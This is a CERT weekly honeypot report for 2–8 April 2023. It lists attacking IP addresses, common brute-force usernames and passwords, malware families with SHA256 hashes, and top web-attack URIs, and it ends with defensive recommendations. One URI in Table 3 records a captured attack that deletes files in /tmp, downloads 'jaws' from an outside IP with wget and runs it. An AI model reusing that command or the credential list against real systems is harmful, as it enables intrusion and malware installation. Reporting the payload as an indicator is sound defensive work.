

TZ-CERT HONEYPOTS WEEKLY REPORT

Period: 2nd to 8th of April, 2023 Report No.: TZ-CERT/WRHP/2023/14

1. NETWORK ATTACKS

A total of **250,531** attacks have been recorded compared to last week **235,672 attacks** within the period of this report. The top 10 Network attacks with malicious IPs, commonly used usernames and passwords is as in **table1** below:

| SN | ATTACKING IPS | USERNAMES | PASSWORDS |
|-----|-----------------|--------------|--------------|
| 1. | 104.194.11.254 | root | admin |
| 2. | 221.181.181.95 | admin | 123456 |
| 3. | 116.110.87.74 | support | support |
| 4. | 195.3.147.52 | PlcmSplp | PlcmSplp |
| 5. | 193.105.134.95 | user | 1234 |
| 6. | 116.105.212.180 | guest | password |
| 7. | 116.98.161.192 | ubuntu | 12345 |
| 8. | 116.110.127.23 | 345gs5662d34 | 345gs5662d34 |
| 9. | 116.110.20.117 | supervisor | user |
| 10. | 116.98.173.164 | test | root |

Table1: Top 10 Network attacking IP

Most of the usernames and passwords listed are commonly used, thus its advised review of usernames and password be made to avoid use of the above listed credentials and default ones. Use of password policies is the best practice.

2. MALICIOUS SOFTWARE (MALWARE)

During the week the sensors recorded, a total of **182,858** malicious software distributed compared to last week in which was **313,951**.

Below listed are top ten malicious software and their hashes.

| SN | ATTACKING IPS | MALICIOUS SOFTWARE | HASHES(SHA256) |
|----|----------------|---------------------|----------------------|
| 1. | 41.78.64.254 | trojan.hajime/linux | a04ac6d98ad9893127 |
| | | | 83d4fe3456c53730b21 |
| | | | 2c79a426fb215708b6c |
| | | | 6daa3de3 |
| 2. | 41.59.211.41 | trojan.linux/gafgyt | 299a0979b6b4ac120a |
| | | | 61cf40f494337a3acc53 |
| | | | a9fb0a087a83b960b6d |
| | | | cc670f9 |
| 3. | 41.59.86.254 | trojan.linux/hajime | d5601202dff3017db23 |
| | | | 8145ff21857415f66303 |
| | | | 1aca9b3d534bec8991b |
| | | | 12179a |
| 4. | 129.227.76.238 | trojan.linux/hajime | 020f1fa6072108c79ed |

| | | | 6f553f4f8b08e157bf17f 9c260a76353300230fe d09f0 |
|-----|-----------------|---------------------------------|--|
| 5. | 45.71.36.20 | trojan.linux | 0287f63135169666f3fd 73e5035bb2f3e13cda4 58fd4c5099507d42661 8464af |
| 6. | 41.44.180.154 | trojan.linux | 63716fe3b9c2b7e35ba 87882a1c77ad90a892f 06e2d7318c385c44a93 00a86cc |
| 7. | 184.168.22.174 | trojan.linux | c95cb25bd21b55b9968 ea0fe16c26da063f12e 48202c773a6a71f6b02 4b8286b |
| 8. | 41.60.233.71 | Trojan.Linux.Generic.2461 92 | e6ce9937266d30a22c6 aa5c48d818dba86491 b1becf1fe0ca07b3de85 d2d88ab |
| 9. | 182.180.117.155 | trojan.linux/xorddos | ea40ecec0b30982fbb1 662e67f97f0e9d6f43d2 d587f2f588525fae683a bea73 |
| 10. | 41.235.241.135 | Trojan.Win32.Eb.dqb | b0c1267102b7596000f 1b48965c0936b58cd18 aae35a1de97a4cf2517 18a1946 |

Table2: Top 10 Malicious attacking IP

3. WEB ATTACKS

During the week the sensors recorded a total of **2,811** web attacks compared to last week which was **3,154**.

From the table the top 10 web-based attacks and their associated requests sent to web servers for the period between 2nd to 8th of April, 2023, are detailed. The requests are the payloads.

| SN | ATTACKING IPS | TOP URI |
|----|-----------------|--------------------------|
| 1. | 103.35.65.197 | / |
| 2. | 122.168.198.123 | /users/sign_in |
| 3. | 193.32.162.159 | /boaform/admin/formLogin |
| 4. | 151.237.140.106 | /.env |
| 5. | 109.237.96.251 | /favicon.ico |
| 6. | 152.89.196.54 | /geoip/ |

| 7. | 41.78.174.77 | /?XDEBUG_SESSION_START=phpstorm |
|-----|-----------------|---|
| 8. | 179.43.177.242 | /client/get_targets |
| 9. | 185.224.128.239 | /robots.txt |
| 10. | | /shell?cd+/tmp;rm+- rf+*;wget+45.81.243.34/jaws;sh+/tmp/jaws |

Table3: Top 10 web attacking IP

4. RECOMMENDATIONS

The Honeypot sensors have recorded IP addresses with most common malware used in the world today. Monitoring of the listed IP address is advised and further to:

- 4.1 Note that most of malicious IP addresses captured are also listed as malicious IP addresses in other sources that are also observing security attacks; thus, security measures should be considered to counter act, including monitoring of the IPs in networks. Most likely the same resources might be used for further attacks.
- **4.2** Discourage usage of listed login resources (usernames and passwords) and consider deploying mechanisms to monitor login attempts.
- **4.3** Thoroughly check for suspicious files of hashes listed in **Table 2**.
- **4.4** Deploy Intrusion Detection System (IDS) and configure to flag detection of attacks associated with list of resources provided especially the IP addresses and the web requests.